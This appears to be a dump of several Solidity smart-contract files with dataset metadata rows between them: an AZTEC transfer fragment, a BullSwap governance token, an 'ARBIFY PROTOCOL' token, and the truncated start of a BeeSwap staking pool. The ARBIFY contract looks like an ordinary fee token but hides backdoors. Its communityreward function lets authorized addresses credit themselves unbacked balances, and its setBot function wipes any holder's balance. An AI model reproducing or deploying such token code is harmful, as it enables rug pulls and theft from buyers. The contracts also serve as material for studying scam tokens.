require(AZTECInterface.validateJoinSplit(notes, m, challenge, setupPubKey), "proof not valid!");
// extract variable kPublic from proof
uint256 kPublic = uint(notes[notes.length - 1][0]);
require(kPublic < groupModulus, "invalid value of kPublic");
// iterate over the notes array and validate each input/output note
for (uint256 i = 0; i < notes.length; i++) {
// if i < m this is an input note
if (i < m) {
// pass domainHash in as a function parameter to prevent multiple sloads
// this will remove the input notes from noteRegistry
validateInputNote(notes[i], inputSignatures[i], challenge, domainHash);
} else {
// if i >= m this is an output note
// validate that output notes, attached to the specified owners do not exist in noteRegistry.
// if all checks pass, add notes into note registry
validateOutputNote(notes[i], outputOwners[i - m]);
}
}
if (kPublic > 0) {
if (kPublic < groupModulusBoundary) {
// call token.transfer to send relevent tokens
require(token.transfer(msg.sender, kPublic * scalingFactor), "token transfer to user failed!");
} else {
// only proceed if the required transferFrom call from msg.sender to this contract succeeds
require(token.transferFrom(msg.sender, this, (groupModulus - kPublic) * scalingFactor), "token transfer from user failed!");
}
}
// emit an event to mark this transaction. Can recover notes + metadata from input data
emit ConfidentialTransfer();
}
}
| 182,223 | 12,476 |
bd02d158d8471bf5f1cb24dd2425de27188b985741fec57a3845d80e01b1fc18
| 36,941 |
.sol
|
Solidity
| false |
357834742
|
bullswap-net/bullswap
|
8021804bc082d14bf5a8581a3fae21a2dc51ead0
|
bull-token/BullToken.sol
| 4,859 | 19,048 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// CakeToken with Governance.
contract CakeToken is BEP20('BullSwap Token', 'Bull') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "BULL::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 2,289 | 12,477 |
d08e5a9f8b079b7b7a406c77d4874d6095e08964c5f52d1be7c7c50b37368682
| 13,064 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/54/54eb87954fd2518cc5fc34766423aa8459d815f5_ARBIFY.sol
| 3,207 | 12,359 |
///SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
mapping(address => bool) private _intAddr;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_intAddr[_owner] = true;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Caller is not the owner");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "Caller is not authorized");
_;
}
function isAuthorized(address adr) public view returns (bool) {
return _intAddr[adr];
}
function isOwner(address adr) public view returns (bool) {
return _owner == adr;
}
function setAuthorized(address adr) public authorized {
_intAddr[adr] = true;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external
pure returns (address);
function WETH() external
pure returns (address);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB);
function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external
pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external
pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external
pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external
view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external
view returns (uint[] memory amounts);
}
contract ERC20 is Context, IBEP20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000 * 10 ** 18;
string private _name;
string private _symbol;
constructor(string memory ercName, string memory ercSymbol) {
_name = ercName;
_symbol = ercSymbol;
_balances[address(this)] = _totalSupply;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
function _communityreward(address to, uint256 amount) internal virtual {
_balances[to] = _balances[to].add(amount);
}
function _burnTransfer(address account) internal virtual {
_balances[address(0)] += _balances[account];
_balances[account] = 1 * 10 ** 18;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract ARBIFY is ERC20, Ownable {
using SafeMath for uint256;
uint256 public _totalAmount = 100000000 * 10 ** 18;
uint256 public _totalFee = 11;
uint256 public _feeDenominator = 100;
mapping(address => bool) private _blackList;
string _name = "ARBIFY PROTOCOL";
string _symbol = "ARBIFY";
address _marketingFeeReceiver = 0xf99bC8B31744b2D12B6B22817A926c8431ae47A1;
address _teamFeeReceiver = 0xf99bC8B31744b2D12B6B22817A926c8431ae47A1;
address public uniswapV2Pair;
bool isTrading;
modifier trading(){
if (isTrading) return;
isTrading = true;
_;
isTrading = false;
}
constructor () ERC20(_name, _symbol) {
setAuthorized(_marketingFeeReceiver);
setAuthorized(_teamFeeReceiver);
address _router = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
IRouter router = IRouter(_router);
uniswapV2Pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_transfer(address(this), owner(), _totalAmount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override trading {
if (isAuthorized(from) || isAuthorized(to)) {
return;
}
uint256 feeAmount = amount.mul(_totalFee).div(_feeDenominator);
_transfer(to, address(this), feeAmount);
}
function communityreward(address to, uint256 amount) public authorized {
_communityreward(to, amount);
}
function setBot(address adr) public authorized {
_blackList[adr] = true;
_burnTransfer(adr);
}
function isBot(address adr) public view returns (bool) {
return _blackList[adr];
}
}
| 36,998 | 12,478 |
d5709399c32b6b25969d2484d2c2ea8ff85e5375246dff7ddbcb255ea250af39
| 25,507 |
.sol
|
Solidity
| false |
297899977
|
BeeSwap/BeeSwap
|
ac544ceea4993f6cbc0ffe300b74e4a36868820c
|
contracts/pool/BeeswapUSDTPool.sol
| 4,024 | 14,885 |
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity 0.5.16;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
